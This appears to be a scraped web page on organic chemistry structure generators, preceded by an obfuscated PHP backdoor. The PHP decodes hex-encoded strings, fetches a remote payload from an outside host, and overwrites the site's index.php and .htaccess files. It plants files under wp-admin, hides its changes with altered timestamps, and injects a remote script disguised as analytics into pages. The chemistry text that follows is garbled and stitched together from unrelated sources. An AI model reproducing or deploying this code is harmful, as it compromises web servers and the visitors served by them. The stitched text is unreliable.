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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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Organic chemistry structures generator. ChemInteractive is developed by Mike Casey, School of Chemistry, University College Dublin. I teach high school chemistry, and it would be fantastic to have an app or web tool that students could use to draw Jan 23, 2023 · Cracking the code. Let's look at the resonance within acrylic acid to demonstrate these three types of resonance. Fragments: pick one of the fragments (benzene, cyclopropane, etc. The IUPAC Recommendations on the Nomenclature of Organic Chemistry (IUPAC Blue Book) 1 provide naming principles for all classes of organic compounds, and continue to evolve. 2. This system will also be used to help describe how electrons from in reactions. Click here to Register! By joining Chemistry Steps, you will gain instant access to the answers and solutions for all the Practice Problems including over 20 hours of problem-solving videos, Multiple-Choice Quizzes, Puzzles, and t he powerful set of Organic Chemistry 1 and 2 Summary Study Guides. Can the generator handle complex molecules? Yes, most advanced generators can handle a wide range of molecules, from simple hydrocarbons to This content is for registered users only. Watch this video to learn how to draw resonance structures for organic molecules and understand their significance in chemistry. Select tool. a. . ) and add fragments. The editor lets you create structural formula online and save it as either . Many web-based three-dimensional (3D) structure tools have been developed for displaying existing models, building new models, and preparing Department of Chemistry Centre for Molecular Informatics Updated 2024-05-02: Redirect API requests with no parameters to instructions page If you have found OPSIN useful in your work citing our paper would be very much appreciated. Users can perform simple and advanced searches based on annotations relating to sequence, structure and function. By applying the formal charge guideline, the “-“ formal charge is more preferable on oxygen, which is more electronegative than nitrogen, so the 2 nd structure is the more stable one with lower energy, and makes more contribution to the actual structure in this species. 9 sp Hybrid Orbitals and the Structure of Acetylene; 1. In the meantime you can still access the functionality on the legacy website. By exploring various resonance forms, you can enhance your knowledge of electron movement and molecular behavior. This page is currently under development! We are constantly updating ChemSpider and adding new features. However, you may wish to optimize several discrete molecular structures at the same time and in relation to each other. The main way of representing organic molecules are the Bond-Line (Zig-zag) structures. Be ready for your next Orgo exam! Practice quiz + associated tutorial video Most small molecule force fields are optimized for describing individual discrete molecular structures. png. Feb 27, 2024 · ChemTube3D contains interactive 3D chemistry animations and structures, with supporting information, for students studying some of the most important topics in advanced school chemistry and university chemistry courses. May 25, 2024 · IUPAC names provide a standardized way to communicate the structure of organic compounds, facilitating accurate understanding and interpretation among chemists. ACE mechanism calculator . Surge uses the Nauty package to compute automorphism groups of graphs and generates all non-isomorphic constitutional isomers of a given molecular formula. Sep 17, 2012 · Computer Assisted Structure Elucidation has been used for decades to discover the chemical structure of unknown compounds. It may seem strange that we divide chemistry into two branches—one that considers compounds of only one element and one that covers the 100-plus remaining elements. Kekul é) structure which is helpful when you want to look at every single atom; however, showing all of the hydrogen atoms makes it difficult to compare the overall structure with other similar molecules and makes it difficult to focus This online quiz is intended to give you extra practice in concepts related to introductory organic nomenclature, including naming compounds and identifying functional groups from diagrams. Legacy. Number of problems: 1 5 10 25: Question types: Draw Lewis dot structures of elements Identify elements and groups based on Lewis dot structures ACE mechanism calculator . Simply draw a structure or structure fragment in the editor provided and click the search button. Turn off atom manipulation Off; Hydrogen H; Lithium Li; Beryllium Be; Carbon C Jun 10, 2019 · Chemical Search by Structure. Our tools, quizzes, and study guides are designed to help students test every reaction or mechanism with any molecule they draw! Name To Structure. 0 Unported License . Instead of drawing it out, the structure utilizes the elemental symbols to indicate the number of carbons and the bonded molecules. For example, to understand the name 2-methylpropan-1-ol you need to take the name to pieces. Please read the instructions below each input. Sign up . Aug 20, 2022 · Drawing Skeletal Structures Practice Questions for Organic Compounds- Test your understanding and skills on how to draw organic chemistry molecules in simple line structure or skeletal structure. The number of free calls to this function is limited. Most conveniently, when properly defined in chemical structures in ChemDoodle, repeat units are automatically recognized, evaluated and expanded so you can quickly draw complex structures and perform cheminformatics tasks such as calculating molecular masses and formulas. Each part of the name gives you some useful information about the compound. Due to specific legal problems [for example: data protection or minimum imprint requirements] Jan 23, 2023 · Introduction. The first drawing follows the straight-line (a. This is very convenient for oligomers and polymers. This page lets you easily convert IUPAC names, common names, SMILES codes, CAS numbers, and other identifiers into chemical structures. You can also use this chemical structure tool to draw and modify standard organic chemical and organometallic structures. As a chemistry student, you can use the resonance structure generator to deepen your understanding of organic chemistry concepts. In order to perform such a generation efficiently, exhaustively and isomorphism-free, the structure generator needs to ensure the building of canonical graphs already during the generation step and not by subsequent PubChem is the world's largest collection of freely accessible chemical information. First, write the Kekule structure from the condensed formula and then draw the Line structure from the Kekule. 2D to 3D: converts the structural formula into a 3D model. Use Case 3: Predicting Reactivity and Stability Online chemical structure editor. Khan Academy offers free, high-quality education for anyone, anywhere. ChemInteractive is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3. ChemDoodle 3D therefore will optimize molecular structures separately and individually as you are editing them. 3D; 2D; Starting structure. The sketcher controls are modeled from the ChemDoodle ® desktop application (learn more about the desktop software here). Name to Structure Conversion – IUPAC, common names, CAS RN® Various types of chemical names can be converted to structures with converting technology, including: IUPAC names, systematic names, common names, drug commercial names, and CAS Registry Numbers® via a public web service. 5. Draw a mechanistic step involving one or more compounds and electron-flow arrows, and press View Products to calculate the products. A modern organic name is simply a code. Detailed reaction scheme definition enables incorporating organic chemistry knowledge to guide the virtual enumeration. Substructure search; SMILES generator / checker An interactive simulation by PhET that allows users to build molecules and understand their structures. Do I need to know chemistry to use the generator? Basic knowledge of organic chemistry is helpful but not essential, as the generator guides you through the process of inputting molecular structures. Bond-Line Structures: A Detailed Guide. a) The condensed formula for propanal is CH 3 CH 2 CHO. The "Structure Search" feature is used to locate substances by chemical structure. Can the generator handle complex organic structures? Yes, the generator is equipped to handle a wide range of organic structures, from simple hydrocarbons to The Lewis Structure Generator that we put in your hands here is an excellent tool to obtain structures of more than 400 molecules. Bond-Line structures, also known as Skeletal structures, are a fundamental part of organic chemistry. Lewis Structure of Organic molecules. To use the Lewis Structure Calculator follow these steps: Enter the formula of the molecule in the field provided for it. Can the Organic Chemistry IUPAC Name Generator handle complex structures? Yes! The generator is equipped to handle a wide range of organic compounds, from simple alkanes to intricate Surge is a chemical structure generator based on the canonical generation path method. Free download; already installed 